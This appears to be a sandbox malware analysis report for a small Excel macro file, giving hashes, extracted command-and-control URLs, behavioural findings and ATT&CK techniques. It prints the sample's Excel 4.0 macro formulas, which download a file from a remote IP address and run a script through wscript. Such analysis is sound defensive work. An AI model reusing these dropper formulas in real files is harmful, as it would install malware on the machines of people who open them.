Overview

overview

10

Static

static

10

f7e99cc171...8.xlsm

windows7-x64

10

f7e99cc171...8.xlsm

windows10-2004-x64

10

Sharing

Copy URL
Twitter E-mail

General

  • Target

    f7e99cc1710ebefc340098c8d5d01d09_JaffaCakes118

  • Size

    6KB

  • Sample

    240418-nsqa4sbg36

  • MD5

    f7e99cc1710ebefc340098c8d5d01d09

  • SHA1

    796ba003315a271f20e77076212fe0b0d7f30853

  • SHA256

    f9c30383c481ca29a36b47d1fe4a935392544cc10136ba64d8b0c9b36992d915

  • SHA512

    5ca0207a30b8548830f8a7782416a23bbb382521d21931aba3e4dbef28b9b29fc94a04151368defd647e4b8b447474cb099a582222e12862f372220135c98b6f

  • SSDEEP

    192:NDSeuScbrA2OmmfRv8UhHFBFYuBb98yTK+Z:NJupM2w11FY8b98yTp

Score
10/10
xlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://46.17.98.187/index.php

http://google.com/index.php
Attributes
  • formulas

    =CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://46.17.98.187/index.php","C:\~\pes.msi",0,0) =CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://google.com/index.php","C:\~\pes.msi",0,0) =EXEC("wscript C:\zer\spp.vbs") =HALT()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://46.17.98.187/index.php
xlm40.dropper

http://google.com/index.php

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://46.17.98.187/index.php

Targets

    • Target

      f7e99cc1710ebefc340098c8d5d01d09_JaffaCakes118

    • Size

      6KB

    • MD5

      f7e99cc1710ebefc340098c8d5d01d09

    • SHA1

      796ba003315a271f20e77076212fe0b0d7f30853

    • SHA256

      f9c30383c481ca29a36b47d1fe4a935392544cc10136ba64d8b0c9b36992d915

    • SHA512

      5ca0207a30b8548830f8a7782416a23bbb382521d21931aba3e4dbef28b9b29fc94a04151368defd647e4b8b447474cb099a582222e12862f372220135c98b6f

    • SSDEEP

      192:NDSeuScbrA2OmmfRv8UhHFBFYuBb98yTK+Z:NJupM2w11FY8b98yTp

    Score
    10/10

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Process spawned suspicious child process

      This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

    behavioral1behavioral2

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1
T1112

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Tasks